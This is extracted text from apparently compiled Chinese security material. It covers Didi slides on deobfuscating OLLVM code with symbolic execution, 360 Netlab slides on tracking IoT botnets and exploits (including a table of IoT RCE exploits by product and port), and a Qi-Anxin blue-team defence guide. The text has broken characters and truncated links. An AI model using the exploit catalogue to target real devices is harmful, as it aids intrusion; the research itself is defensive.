217、神 主機安全 安全架構 洋蔥 數據安全 安全合規 安全質量 多維提升 前沿研究 威脅情報 藍軍演練 謝謝觀看 2019滴滴出行基于符號執行的反混淆方法研究PART 01混淆框架簡介目錄CONTENTSPART 02混淆技術原理PART 03反混淆技術原理PART 04后續的工作01020304CLICK ADD RELATED TITLE TEXT,AND CLICK ADD RELATED TITLE TEXT,CLICK ADD RELATED TITLE TEXT,CLICK ON ADD RELATED TITLE WORDS.PART.01混淆框架簡介 LLVM是開源的編譯器框架,L
218、LVM出現也是為了替換與系統緊耦合的GCC編譯器。LLVM分為三個獨立模塊,高級語言解析、中間語言(IR)處理、目標機器語言生成。三個模塊都具備可擴展性。高級語言支持C/C+,OC等,目標指令支持x86、ARM、mips等,混淆是基于IR進行的擴展。CLICK ADD RELATED TITLE TEXT,AND CLICK ADD RELATED TITLE TEXT,CLICK ADD RELATED TITLE TEXT,CLICK ON ADD RELATED TITLE WORDS.PART.02混淆技術原理 OLLVM4.0主要支持三種混淆特性:a.控制流平坦化b.虛假控制流c.指
219、令替換 控制流平坦化(引自freebuf)虛假控制流(引自freebuf)指令替換(引自freebuf)混淆技術原理控制流平坦化 有塊變量(可能是堆?;蚣拇嫫髯兞浚┏跏蓟蟮膲K變量,經過二分搜索執行塊 當前塊修改塊變量,決定下一步執行哪個塊 原始代碼中的分支,會影響塊變量賦值CLICK ADD RELATED TITLE TEXT,AND CLICK ADD RELATED TITLE TEXT,CLICK ADD RELATED TITLE TEXT,CLICK ON ADD RELATED TITLE WORDS.PART.03反混淆技術原理 去流程平坦化思路 找到所有真實塊 從序言塊符號
220、執行 到第一個真實塊即為序言塊的后繼 再遞歸找這個真實塊的后繼 遇到分支進入遞歸執行 遞歸返回時修改分支條件繼續執行 輸出(patch匯編 or 其他)尋找基本塊思路 Case 1 序言塊是真實塊,后繼是主分發器 后繼是主(預)分發器都是真實塊 沒有后繼的是return塊(也是真實塊)尋找基本塊思路 Case 2 兩個以上主分發器 手工指定主分發器地址“人工的智能”往往最簡單有效 尋找基本塊思路 Case 3 真實塊被優化成多個 在BEQ或BNE和主(預)分發器之間的是真實塊 為什么從函數開頭符號執行 和塊變量比較的可能不是常量 這些block value在序言塊中初始化 識別原始分支 單純控
221、制流平坦化識別相對容易 ARM 32遇到ITT指令,即可認為是是原始分支 加上虛假控制流,流程變得復雜,可以考慮使用約束求解,還在研究中 輸出patch匯編or其他 指令空間不夠 輸出GDL文件,用wingraph打開。最終效果 混淆代碼vs還原的代碼 最終效果 混淆代碼vs還原的代碼CLICK ADD RELATED TITLE TEXT,AND CLICK ADD RELATED TITLE TEXT,CLICK ADD RELATED TITLE TEXT,CLICK ON ADD RELATED TITLE WORDS.PART.04后續的工作 GDL文件輸出只是圖形,不方便查找和交叉
222、引用。計劃編寫hex-ray的插件,修改反編譯的Ctree結構。IDA Pro 7.2的Hex-Rays api 中microcode引入了block概念,由此可以調整block的后繼。另外一種輸出方式-指令patch 做指令遷移 這里坑比較多 重寫SO文件謝謝觀看如何去挖掘物聯網環境中的高級惡意軟件威脅360網絡安全研究院研究員PART 01背景介紹目錄CONTENTSPART 02IoT安全現狀PART 03挖掘未知的IoT ExploitPART 04挖掘未知的IoT Botnet01030402PART 05總結05PART 01背景介紹What is an advanced malw
223、are threat?0-day Exploit or Cyberweapon概覽通過Anglerfish蜜罐,我捕獲到大量網絡掃描Payload和IoT Botnet,并和同事一起公開披露了部分報告,其中包括:Mirai,http81,DDG,Hajime,TheMoon,IoT_reaper,Satori,Muhstik,HNS,Fbot,MikroTik,GhostDNS,Ngioweb,Godlua,Gwmndy等。我還挖掘到一些有意思的樣本,部分貼在了推特上#unknown_botnet,還有一個是針對IoT平臺的特馬但沒有公開披露。此外,我還捕獲到3個0day,其中包括被Sator
224、i Botnet利用的CVE-2017-17215漏洞,被TheMoon Botnet利用的Gpon Home Routers RCE漏洞,被Fbot利用的雄邁DVRIP協議漏洞。我是如何研究IoT安全的?開發Anglerfish蜜罐,模擬IoT設備指紋/漏洞,捕獲網絡掃描Payload和樣本篩選x86,ARM,MIPS等CPU架構樣本,分析未被殺軟件識別的惡意軟件開發特定漏洞掃描程序,統計全網受影響設備數量等從設備官網下載相應固件,統計受影響的設備型號等Network Scan Payload Analysis40%IoT Firmware Reversing10%IoT Vulnerabi
225、lity Scan10%ELF Malware Analysis40%PART 02IoT安全現狀IoT 安全現狀IoT 安全防御能力不足IoT Botnet 攻擊能力不斷升級IoT 設備已經成為APT攻擊目標010203Vulnerability:漏洞補丁能不能打上Exploits:惡意流量能不能攔截Malware:惡意程序能不能阻止運行IoT 安全防御能力不足IoT Botnet感染能力不斷升級Mirai內置大量弱口令,通過暴力破解Telnet服務傳播。Mirai變種集成Zyxel tr069協議漏洞傳播,但因為Exploit不穩定導致路由器重啟,從而引發德國電信大斷網事件。Reaper集
226、成9個IoT漏洞,其中Varcon NVR個 RCE漏洞在公開后2天就被集成。Satori利用Huawei Router HG532 0-day漏洞傳播,12月5號當天統計到感染IP數量在57萬。全球ISP聯合行動,封鎖TCP/37215端口。2016年8月1日2016年11月28日2017年9月13日2017年12月5日12342018年9月4日52019年2月16日6MikroTik設備受泄露的 CIA ChimayRed黑客工具影響,路由器被攻擊者監聽網絡流量,充當代理節點,植入js挖礦代碼。Fbot使用XiongMai 硬編碼賬號密碼和DVRIP升級接口0-day漏洞傳播。IoT Bo
227、tnet感染能力不斷升級暴力破解漏洞集成漏洞挖掘 暴力破解Telnet服務 Mirai,Gafgyt 集成大量已公開漏洞 IoT_Reaper,Mirai 0-day 漏洞利用 Satori,TheMoon,FbotIoT Botnet C2技術不斷升級冗余機制通信協議復雜化 硬編碼多個C2地址 使用DGA技術 Mirai,Godlua 使用P2P協議通信 使用DOH解析DNS請求 Hajime,Godlua,HNS C2功能插件化 構造多級C2協議 VPNFilter,NgiowebIoT 設備已經成為APT攻擊目標情報監控竊聽風云:你的MikroTik路由器正在被監聽IPCount37.1
228、.207.1145164185.69.155.231347188.127.251.611155MikroTik設備受泄露的 CIA ChimayRed黑客工具影響,路由器被攻擊者監聽網絡流量,充當代理節點,植入js挖礦代碼。MikroTik RouterOS設備允許用戶在路由器上抓包,并把捕獲的網絡流量轉發到指定Stream服務器。目前共檢測到 7.5k MikroTik RouterOS設備IP已經被攻擊者非法監聽,并轉發TZSP流量到指定的IP地址,通信端口UDP/37008。其中一個攻擊者(37.1.207.114)監聽了大量MikroTik RouterOS設備,主要監聽TCP協議20
229、,21,25,110,143端口,分別對應FTP-data,FTP,SMTP,POP3,IMAP協議流量。這些應用協議都是通過明文傳輸數據的,攻擊者可以完全掌握連接到該設備下的所有受害者的相關網絡流量,包括FTP文件,FTP賬號密碼,電子郵件內容,電子郵件賬號密碼等。通過對受害者IP歸屬地統計,我們看到俄羅斯受影響最嚴重。更多內容:https:/ VPNFilter malware is a multi-stage,modular platform with versatile capabilities to support both intelligence-collection and d
230、estructive cyber attack operations.As of this writing,we are aware of two plugin modules:a packet sniffer for collecting traffic that passes through the device,including theft of website credentials and monitoring of Modbus SCADA protocols,and a communications module that allows stage 2 to communica
231、te over Tor.PART 03如何去挖掘未知的IoT ExploitAnglerfish-Most Probed PortTelnet和HTTP協議在Anglerfish蜜罐中被掃描次數最多。簡單的IoT漏洞利用也最受攻擊者歡迎。Anglerfish-Exploits StaticsAnglerfish蜜罐已捕獲100多種被Botnet利用的RCE Exploit,每天能監測到數十種針對IoT設備的RCE漏洞利用。絕大部分IoT漏洞利用代碼都是公開的,開箱即用。Anglerfish-ELF Malware Family Statics當前IoT Botnet主流是Mirai和Gafgy
232、t家族,每天都能捕獲1000多個Mirai樣本MD5。響應任意端口的TCP SYN Packet 根據協議特征,永遠返回正確響應(http,mysql,mssql,redis,memcache等)返回預定義或者隨機的Payload特征庫集合Fuzz testing更多內容:通過Anglerfish蜜罐發現未知的惡意軟件威脅Botnet掃描檢測算法First seenLast seenProtocolPortCoefficientPayload Count(one of)Payload MD52017-02-09 23:522018-10-07 02:02UDP5341391.6472c3d95
233、7fcc56caf402b84894e4f986de2018-07-09 06:112019-08-19 10:56TCP555599.09117b0ae0038cc4a8ba3cee0d459d9943f82018-08-09 20:132019-08-20 10:46TCP5286998.8117abde9f41a92f8132c9ba582c866d7cb72018-08-11 13:252019-08-13 20:35TCP3721598.863003e39fb27eb26a6526964222c122c16d2018-08-11 13:252019-08-03 07:37TCP829
234、197.362f047b5467b1dfeaf08c1924b9bf54a992018-08-19 03:092019-04-26 02:50TCP754794.8356eecae4387d119ea3f5a0174f11872cc2018-08-22 12:192018-11-29 12:45TCP900099.802d2f3ae69fc94c21089fa215e674a73be2018-11-12 20:062019-02-26 00:25TCP4915299.641e49e2b772796feae1d42d805e48bc4542019-01-01 05:362019-08-19 11
235、:02TCP6000197.8911eb3111d9525e38decf1e97cb1d2d50712019-06-24 06:582019-07-31 05:44TCP3456796.382a5f8eb80f9c8421707a407c8d0ebed98IoT端口被蠕蟲式掃描ExploitsIoT ProductPortReferenceMallware FamilyTR069-WAN Side Remote Command InjectionZyxel RouterTCP/7547TCP/5555https:/www.exploit- DGAASUS Router infosvr UDP
236、Broadcast root Command ExecutionASUS RouterUDP/9999https:/ SetPppoeAttr RCEEnGenius EnShare IoT Gigabit Cloud Service 1.4.11-Remote Code ExecutionSwann,Lorex,Night Owl,Zmodo,URMET,kguard security,etcEnGenius EnShare RouterTCP/9000http:/console- Routers-UDP Backdoor AccessNetcore/Netis RoutersUDP/534
237、13https:/www.exploit- Devices-UPnP SOAP Command ExecutionD-Link Router UPnP SOAP interfaceTCP/49152https:/www.exploit- SDK-Miniigd UPnP SOAP Command ExecutionRealtek SDK UPnP SOAP interfaceTCP/52869https:/www.exploit- VeraLite Remote Code ExecutionMiCasa VeraLite ControllerTCP/49451https:/www.exploi
238、t- Router HG532-Arbitrary Command ExecutionHuawei Router HG532TCP/37215https:/www.exploit- DVR 2.608.0000.0/2.608.GV00.0-Authentication BypassDahua CameraTCP/37777https:/www.exploit- Transcode Server-Command Execution(CVE-2017-13067)QNAP NASTCP/9251https:/www.exploit- DVRIP Remote Code ExecutionXion
239、gMai DVRTCP/34567https:/ DVR Remote Code ExecutionMvpower 8 Channel Security DVRTCP/60001https:/ Android ADB Debug Server-Remote Payload ExecutionGoogle Android ADB Debug ServerTCP/5555https:/www.exploit- RouterOS Winbox&Webfig MikroTik RouterOS Winbox&WebfigTCP/8291TCP/80https:/wikileaks.org/ciav7p
240、1/cms/page_16384604.htmlChimayRed15個IoT特殊端口被惡意軟件利用如何發現Fbot Botnet使用DVRIP 0day漏洞傳播1.最開始只看到HTTP端口掃描上升2.通過Anglergish蜜罐不斷地Fuzz testing,即使沒有完整交互,也能獲得Fbot樣本3.中間人轉發Fbot掃描流量到真實設備,獲取到DVRIP 協議關鍵Exploit0-day ExploitInstallDesc File Created:December 8,2018 at 05:39(UTC+8)更多內容:https:/ OPSystemUpgrade 0-day漏洞分析更多
241、內容:https:/ 04如何去挖掘未知的IoT Botnet樣本樣本來源:Anglerfish Honeypot,VirosTotal,360Netlab其它樣本源樣本類型:ELF Executable(x86,x86-64,arm,mips)Unknown Botnet:VT 0/1識別,Bot 樣本,有C2技術組件:特征庫,聚類,沙箱,代碼相似性,人肉分析(IDA)概覽推文:#unknown_botnetBlog報告:Linux.Ngioweb,Godlua特殊發現:某IoT特馬,未公開更多內容:https:/ Intelligence:Searchpositives:0 tag:elf
242、 not tag:contains-elf not tag:shared-lib not tag:coredump not tag:relocatable size:10MB-使用VT Intelligence Search API獲取ELF樣本列表,然后使用360內部樣本下載接口下載樣本更多內容:https:/ NOD32CPU架構ELF TypeVaild ELFYaraSSDC聚類可疑樣本人肉流程:可疑樣本函數相似性Detux Sandbox人肉分析未知威脅樣本過濾器Total FileCode SectionSymbol SectionString SectionDisassembly
243、 Function Code數據源:樣本靜態信息聚類,過濾同類樣本(SSDC)特征庫,過濾已識別樣本(ESET NOD32)開源小工具:https:/ Sandbox ModifiedOperating System:SandboxOSNetwork:iptables,mitmproxy,fakednsMalawre Analysis:ESET NOD32,Yara,VirusTotalPacket Analysis:DNS,HTTPStrace Analysis:Stracer開源小工具:https:/ FLIRTfn_fuzzyKartaidenLibDiaphoraBinDiffInte
244、zer Analyzehttps:/ 05總結謝謝!實戰攻防演習之藍隊視角下的防御體系構建1實戰攻防演習之藍隊視角下的防御體系構建3前 言網絡實戰攻防演習,是新形勢下關鍵信息系統網絡安全保護工作的重要組成部分。演習通常是以實際運行的信息系統為保護目標,通過有監督的攻防對抗,最大限度地模擬真實的網絡攻擊,以此來檢驗信息系統的實際安全性和運維保障的實際有效性。2016年以來,在國家監管機構的有力推動下,網絡實戰攻防演習日益得到重視,演習范圍越來越廣,演習周期越來越長,演習規模越來越大。國家有關部門組織的全國性網絡實戰攻防演習從2016年僅有幾家參演單位,到2019年已擴展到上百家參演單位;同時各省
245、、各市、各行業的監管機構,也都在積極地籌備和組織各自管轄范圍內的實戰演習。一時間,網絡實戰攻防演習遍地開花。在演習規模不斷擴大的同時,攻防雙方的技術水平和對抗能力也在博弈中不斷升級。2016年,網絡實戰攻防演習尚處于起步階段,攻防重點大多集中于互聯網入口或內網邊界。2017年,實戰攻防演習開始與重大活動的網絡安全保障工作緊密結合。就演習成果來看,從互聯網側實戰攻防演習之藍隊視角下的防御體系構建4發起的直接攻擊仍然普遍十分有效;而系統的外層防護一旦被突破,橫向移動、跨域攻擊,往往都比較容易實現。2018年,網絡實戰攻防演習開始向行業和地方深入。伴隨著演習經驗的不斷豐富和大數據安全技術的廣泛應用,
246、防守方對攻擊行為的監測、發現和溯源能力大幅增強,與之相應的,攻擊隊開始更多地轉向精準攻擊和供應鏈攻擊等新型作戰策略。2019年以來網絡實戰攻防演習工作受到了監管部門、政企機構和安全企業的空前重視。流量分析、EDR、蜜罐、白名單等專業監測與防護技術被防守隊廣泛采用。攻擊難度的加大也迫使攻擊隊全面升級,諸如0day漏洞攻擊、1day漏洞攻擊、身份仿冒、釣魚WiFi、魚叉郵件、水坑攻擊等高級攻擊手法,在實戰攻防演練中均已不再罕見,攻防演習與網絡實戰的水平更加接近。如何更好地參與網絡實戰攻防演習?如何更好地借助實戰攻防演習提升自身的安全能力?這已經成為大型政企機構運營者關心的重要問題。作為國內領先的網
247、絡安全企業,奇安信集團已成為全國各類網絡實戰攻防演習的主力軍。奇安信集團安實戰攻防演習之藍隊視角下的防御體系構建5服團隊結合200余次實戰攻防演習經驗,總結編撰了這套實戰攻防演習系列叢書,分別從紅隊視角、藍隊視角和紫隊視角,來解讀網絡實戰攻防演習的要領,以及如何結合演習提升政企機構的安全能力。需要說明的是,實戰攻防演習中的紅方與藍方對抗實際上是沿用了軍事演習的概念和方法,一般來說,紅方與藍方分別代表攻擊方與防守方。不過,紅方和藍方的名詞定義尚無嚴格的規定,也有一些實際的攻防演習,將藍隊設為攻擊隊、將紅隊設為防守隊。在本系列叢書中,我們依據絕大多數網絡安全工作者的習慣,統一將攻擊隊命名為紅隊,將
248、防守隊命名為藍隊,而紫隊則代表組織演練的機構。藍隊視角下的防御體系構建是本系列叢書的第二本。本書希望通過歸納總結藍隊防御的三個階段、應對攻擊的常用策略,以及建立實戰化的安全體系的基本方法,幫助政企機構彌補薄弱環節,更好地提升演習水平,構筑更有效的安全防御體系。實戰攻防演習之藍隊視角下的防御體系構建6目 錄第一章 什么是藍隊.1第二章 藍隊三步走防守的三個階段.4一、備戰階段不打無準備之仗.4二、實戰階段全面監測及時處置.6三、戰后整頓實戰之后的改進.8第三章 藍隊應對攻擊的常用策略.9一、防微杜漸:防范被踩點.9二、收縮戰線:收斂攻擊面.10三、縱深防御:立體防滲透.12四、守護核心:找到關鍵
249、點.14五、洞若觀火:全方位監控.15實戰攻防演習之藍隊視角下的防御體系構建7第四章 建立實戰化的安全體系.17一、認證機制逐步向零信任架構演進.17二、建立面向實戰的縱深防御體系.19三、強化行之有效的威脅監測手段.20四、建立閉環的安全運營模式.21附錄 奇安信藍隊能力及攻防實踐.24實戰攻防演習之藍隊視角下的防御體系構建1第一章 什么是藍隊藍隊,一般是指網絡實戰攻防演習中的防守一方。藍隊一般是以參演單位現有的網絡安全防護體系為基礎,在實戰攻防演習期間組建的防守隊伍。藍隊的主要工作包括前期安全檢查、整改與加固,演習期間進行網絡安全監測、預警、分析、驗證、處置,后期復盤總結現有防護工作中的不
250、足之處,為后續常態化的網絡安全防護措施提供優化依據。實戰攻防演習時,藍隊通常會在日常安全運維工作的基礎上,以實戰思維進一步加強安全防護措施、提升管理組織規格、擴大威脅監控范圍、完善監測與防護手段、增加安全分析頻率、提高應急響應速度,提升防守能力。特別需要說明的是:藍隊并不僅僅由實戰演習中目標系統運營單位一家獨立承擔,而是由目標系統運營單位、攻防專家、安全廠商、軟件開發商、網絡運維隊伍、云提供商等多方組成的防守隊伍。下面是組成藍隊的各個團隊在演習中的角色與分工情況:實戰攻防演習之藍隊視角下的防御體系構建2目標系統運營單位:負責藍隊整體的指揮、組織和協調;安全運營團隊:負責整體防護和攻擊監控工作;
251、攻防專家:負責對安全監控中發現的可疑攻擊進行分析研判,指導安全運營團隊、軟件開發商等相關部門進行漏洞整改等一系列工作;安全廠商:負責對自身產品的可用性、可靠性和防護監控策略是否合理進行調整;軟件開發商:負責對自身系統安全加固、監控和配合攻防專家對發現的安全問題進行整改;網絡運維隊伍:負責配合安全專家對網絡架構安全、出口整體優化、網絡監控、溯源等工作;云提供商(如有):負責對自身云系統安全加固,以及對云上系統的安全性進行監控,同時協助攻防專家對發現的問題進行整改。某些情況下,還會有其他組成人員,這需要根據實際情況具體分配工作。特別的,作為藍隊,了解對手(紅隊)非常重要。實戰攻防演習之藍隊視角下的
252、防御體系構建3知彼才能知己。從攻擊者角度出發,了解攻擊者的思路與打法,了解攻擊者思維,并結合本單位實際網絡環境、運營管理情況,制定相應的技術防御和響應機制,才能在防守過程中爭取主動權。實戰攻防演習之藍隊視角下的防御體系構建4第二章 藍隊三步走防守的三個階段在實戰環境下的防護工作,無論是面對常態化的一般網絡攻擊,還是面對有組織、有規模的高級攻擊,對于防護單位而言,都是對其網絡安全防御體系的直接挑戰。在實戰環境中,藍隊需要按照備戰、實戰和戰后三個階段來開展安全防護工作。一、備戰階段不打無準備之仗在實戰攻防工作開始之前,首先應當充分地了解自身安全防護狀況與存在的不足,從管理組織架構、技術防護措施、安
253、全運維處置等各方面能進行安全評估,確定自身的安全防護能力和工作協作默契程度,為后續工作提供能力支撐。這就是備戰階段的主要工作。在實戰攻防環境中,我們往往會面臨技術、管理和運營等多方面限制。技術方面:基礎能力薄弱、安全策略不當和安全措施不完善等問題普遍存在;管理方面:制度缺失,職責不明,應急響應機制不完善等問題也很常見;運營方面:資產梳理不清晰、漏洞整改不徹底、安全監測分析與處置能力不足等問題隨處可見。這些不足往往會導致整體防護能力存在短板,對安全事件的監測、預警、分析和處置效率低下。實戰攻防演習之藍隊視角下的防御體系構建5針對上述情況,藍隊在演習之前,需要從以下幾個方面進行準備與改進:1)技術
254、方面為了及時發現安全隱患和薄弱環節,需要有針對性地開展自查工作,并進行安全整改加固,內容包括系統資產梳理、安全基線檢查、網絡安全策略檢查、Web安全檢測、關鍵網絡安全風險檢查、安全措施梳理和完善、應急預案完善與演練等。2)管理方面一是建立合理的安全組織架構,明確工作職責,建立具體的工作小組,同時結合工作小組的責任和內容,有針對性地制定工作計劃、技術方案及工作內容,責任到人、明確到位,按照工作實施計劃進行進度和質量把控,確保管理工作落實到位,技術工作有效執行。二是建立有效的工作溝通機制,通過安全可信的即時通訊工具建立實戰工作指揮群,及時發布工作通知,共享信息數據,了解工作情況,實現快速、有效的工
255、作溝通和信息傳遞。實戰攻防演習之藍隊視角下的防御體系構建63)運營方面成立防護工作組并明確工作職責,責任到人,開展并落實技術檢查、整改和安全監測、預警、分析、驗證和處置等運營工作,加強安全技術防護能力。完善安全監測、預警和分析措施,建立完善的安全事件應急處置機構和可落地的流程機制,提高事件的處置效率。同時,所有的防護工作包括預警、分析、驗證、處置和后續的整改加固都必須以監測發現安全威脅、漏洞隱患為前提才能開展。其中,全流量安全威脅檢測分析系統是防護工作的重要關鍵節點,并以此為核心,有效地開展相關防護工作。二、實戰階段全面監測及時處置攻守雙方在實戰階段正式展開全面對抗。防護方須依據備戰明確的組織
256、和職責,集中精力和兵力,做到監測及時、分析準確、處置高效,力求系統不破,數據不失。在實戰階段,從技術角度總結應重點做好以下三點:實戰攻防演習之藍隊視角下的防御體系構建71)做好全局性分析研判工作在實戰防護中,分析研判應作為核心環節,分析研判人員要具備攻防技術能力,熟悉網絡和業務。分析研判人員作為整個防護工作的大腦,應充分發揮專家和指揮棒的作用,向前,對監測人員發現的攻擊預警進行分析確認并溯源,向后,指導協助事件處置人員對確認的攻擊進行處置。2)全面布局安全監測預警安全監測須盡量做到全面覆蓋,在網絡邊界、內網區域、應用系統、主機系統等方面全面布局安全監測手段,同時,除了IDS、WAF等傳統安全監
257、測手段外,盡量多使用天眼全流量威脅檢測、網絡分析系統、蜜罐、主機加固等手段,只要不影響業務,監測手段越多元化越好。3)提高事件處置效率效果安全事件發生后,最重要的是在最短時間內采取技術手段遏制攻擊、防止蔓延。事件處置環節,應聯合網絡、主機、應用和安全等多個崗位人員協同處置。實戰攻防演習之藍隊視角下的防御體系構建8三、戰后整頓實戰之后的改進演習的結束也是防護工作改進的開始。在實戰工作完成后應進行充分、全面復盤分析,總結經驗、教訓。應對準備、預演習、實戰等階段工作中各環節的工作進行全面復盤,復查層面包括工作方案、組織管理、工作啟動會、系統資產梳理、安全自查及優化、基礎安全監測與防護設備的部署、安全
258、意識、應急預案及演練和注意事項等所有方面。針對復盤中暴露出的不足之處,如管理層面的不完善、技術層面需優化的安全措施和策略、協調處置工作層面上的不足、人員隊伍需要提高的技術能力等各個方面,應進行立即整改,整改加固安全漏洞隱患,完善安全防護措施,優化安全策略,強化人員隊伍技術能力,有效提升整體網絡安全防護水平。實戰攻防演習之藍隊視角下的防御體系構建9第三章 藍隊應對攻擊的常用策略未知攻焉知防。如果企業安全部門不了解攻擊者的攻擊思路、常用手段,有效的防守將無從談起。從攻擊者實戰視角去加強自身防護能力,將是未來的主流防護思想。攻擊者一般會在前期搜集情報,尋找突破口、建立突破據點;中期橫向移動打內網,盡
259、可能多地控制服務器或直接打擊目標系統;后期會刪日志、清工具、寫后門建立持久控制權限。針對攻擊者或紅隊的常用套路,藍隊應對攻擊的常用策略可總結為:防微杜漸、收縮戰線、縱深防御、核心防護、洞若觀火等。一、防微杜漸:防范被踩點攻擊者首先會通過各種渠道收集目標單位的各種信息,收集的情報越詳細,攻擊則會越隱蔽,越快速。前期防踩點,首先要盡量防止本單位敏感信息泄露在公共信息平臺,加強人員安全意識,不準將帶有敏感信息的文件上傳至公共信息平臺。社工也是攻擊者進行信息收集和前期踩點的重要手段,要定期對信息部門重要人員進行安全意識培訓,如:來路不明的郵件附件不要隨便點開,聊天軟件未實戰攻防演習之藍隊視角下的防御體
260、系構建10經身份確認不要隨便添加。此外,安全管理和安全意識培訓難免也會有漏網之魚,安全運營部門應定期在一些信息披露平臺搜索本單位敏感詞,查看是否存在敏感文件泄露情況。二、收縮戰線:收斂攻擊面門用于防盜,窗戶沒關嚴也會被小偷得逞。攻擊者往往不會正面攻擊防護較好的系統,而是找一些可能連防守者自己都不知道的薄弱環節下手。這就要求防守者一定要充分了解自己暴露在互聯網的系統、端口、后臺管理系統、與外單位互聯的網絡路徑等信息。哪方面考慮不到位、哪方面往往就是被攻陷的點?;ヂ摼W暴露面越多,越容易被攻擊者“聲東擊西”,最終導致防守者顧此失彼,眼看著被攻擊卻無能為力。結合多年的防守經驗,可從如下幾方面收斂互聯網
261、暴露面。1)攻擊路徑梳理由于網絡不斷變化、系統不斷增加,往往會產生新的網絡邊界和新的系統。藍隊(防守單位)一定要定期梳理自己的網絡邊界、可能被攻擊的路徑,尤其是內部系統全國聯網的單位更要注重此項梳理工作。實戰攻防演習之藍隊視角下的防御體系構建112)互聯網攻擊面收斂一些系統維護者為了方便,往往會把維護的后臺、測試系統和端口私自開放在互聯網上,方便維護的同時也方便了攻擊者。攻擊者最喜歡攻擊的WEB服務就是網站后臺,以及安全狀況比較差的測試系統。藍隊須定期檢測如下內容:開放在互聯網的管理后臺、開放在互聯網上的測試系統、無人維護的僵尸系統、擬下線未下線的系統、疏漏的未納入防護范圍的互聯網開放系統。3
262、)外部接入網絡梳理如果正面攻擊不成,紅隊或攻擊者往往會選擇攻擊供應商、下級單位、業務合作單位等與目標單位有業務連接的其他單位,通過這些單位直接繞到目標系統內網。防守單位應對這些外部的接入網絡進行梳理,尤其是未經過安全防護設備就直接連進來的單位,應先連接防護設備,再接入內網。4)隱蔽入口梳理由于API接口、VPN、WiFi這些入口往往會被安全人員忽略,這往往是攻擊者最喜歡打的入口,一旦搞定則暢通無阻。安全人員一定要梳理WEB服務的API隱實戰攻防演習之藍隊視角下的防御體系構建12藏接口、不用的VPN、WiFi賬號等,便于重點防守。三、縱深防御:立體防滲透前期工作做完后,真正的防守考驗來了。防守單
263、位在互聯網上的冠名網站、接口、VPN等對外服務必然會成為攻擊者的首要目標。一旦一個點突破后,攻擊者會迅速進行橫向突破,爭取控制更多的主機,同時試圖建立多條隱蔽隧道,鞏固成果,使防守者顧此失彼。此時,戰爭中的縱深防御理論就很適用于網絡防守?;ヂ摼W端防護、內外部訪問控制(安全域間甚至每臺機器之間)、主機層防護、重點集權系統防護、無線網絡防護、外部網絡接入防護甚至物理層面的防護,都需要考慮進去。通過層層防護,盡量拖慢攻擊者擴大戰果的時間,將損失降至最小。1)互聯網端防護互聯網作為防護單位最外部的接口,是重點防護區域?;ヂ摼W端的防護工作可通過部署網絡防護設備和開展攻擊檢測兩方面開展。需部署的網絡防護設
264、備包括:下一代防火墻、防病毒網關、全流量分析設備、防垃圾郵件網關、WAF(云WAF)、IPS等。攻擊檢測實戰攻防演習之藍隊視角下的防御體系構建13方面。如果有條件,可以事先對互聯網系統進行一次完整的滲透測試,檢測互聯網系統安全狀況,查找存在的漏洞。2)訪問控制措施互聯網及內部系統、網段和主機的訪問控制措施,是阻止攻擊者打點、內部橫向滲透的最簡單有效的防護手段。防守者應依照“必須原則”,只給必須使用的用戶開放訪問權限,按此原則梳理訪問控制策略,禁止私自開放服務或者內部全通的情況出現,通過合理的訪問控制措施盡可能地為攻擊者制造障礙。3)主機防護當攻擊者從突破點進入內網后,首先做的就是攻擊同網段主機
265、。主機防護強度直接決定了攻擊者內網攻擊成果的大小。防守者應從以下幾個方面對主機進行防護:關閉沒用的服務;修改主機弱口令;高危漏洞必須打補?。òㄑb在系統上的軟件高危漏洞);安裝主機和服務器安全軟件;開啟日志審計。4)集權系統集權系統是攻擊者最喜歡打的內部系統,一旦被拿下,則集權系統所控制的主機可同樣視為已被拿下,實戰攻防演習之藍隊視角下的防御體系構建14殺傷力巨大。集權系統是內部防護的重中之重。藍隊或防守者一般可從以下方面做好防護:集權系統的主機安全;集權系統訪問控制;集權系統配置安全;集權系統安全測試;集權系統已知漏洞加固或打補??;集權系統的弱口令等。5)無線網絡不安全的開放無線網絡也有可能
266、成為攻擊者利用的攻擊點。無線開放網絡與業務網絡應分開。一般建議無線網接入采用強認證和強加密。6)外部接入網絡如果存在外部業務系統接入,建議接入的系統按照互聯網防護思路,部署安全設備,并對接入的外部業務系統進行安全檢測,確保接入系統的安全性,防止攻擊者通過這些外部業務系統進行旁路攻擊。四、守護核心:找到關鍵點核心目標系統是攻擊者的重點攻擊目標,也應重點防護。上述所有工作都做完后,還需要重點梳理:目標系統和哪些業務系統有聯系?目標系統的哪些服務或接口是開放的?傳輸方式如何?梳理得越細越好。實戰攻防演習之藍隊視角下的防御體系構建15同時還須針對重點目標系統做一次交叉滲透測試,充分檢驗目標系統的安全性
267、。協調目標系統技術人員及專職安全人員,專門對目標系統的進出流量、中間件日志進行安全監控和分析。五、洞若觀火:全方位監控任何攻擊都會留下痕跡。攻擊者會盡量隱藏痕跡、防止被發現;而防守者恰好相反,需要盡早發現攻擊痕跡,并通過分析攻擊痕跡,調整防守策略、溯源攻擊路徑、甚至對可疑攻擊源進行反制。建立全方位的安全監控體系是防守者最有力的武器,總結多年實戰經驗,有效的安全監控體系需在如下幾方面開展:1)全流量網絡監控任何攻擊都要通過網絡,并產生網絡流量。攻擊數據和正常數據肯定是不同的,通過全網絡流量去捕獲攻擊行為是目前最有效的安全監控方式。藍隊或防守者通過全流量安全監控設備,結合安全人員的分析,可快速發現
268、攻擊行為,并提前做出針對性防守動作。2)主機監控任何攻擊最終都會落到主機(服務器或終端)上。通過部署合理的主機安全軟件,結合網絡全流量監控實戰攻防演習之藍隊視角下的防御體系構建16措施,可以更清晰、準確、快速地找到攻擊者的真實目標主機。3)日志監控對系統和軟件的日志監控同樣必不可少。日志信息是幫助防守者分析攻擊路徑的一種有效手段。攻擊者攻擊成功后,打掃戰場的首要任務就是刪除日志,或者切斷主機日志的外發,以防止防守者追蹤。防守者應建立一套獨立的日志分析和存儲機制,重要目標系統可派專人對目標系統日志和中間件日志進行惡意行為監控分析。4)情報監控高端攻擊者會用0day或Nday漏洞來打擊目標系統、穿
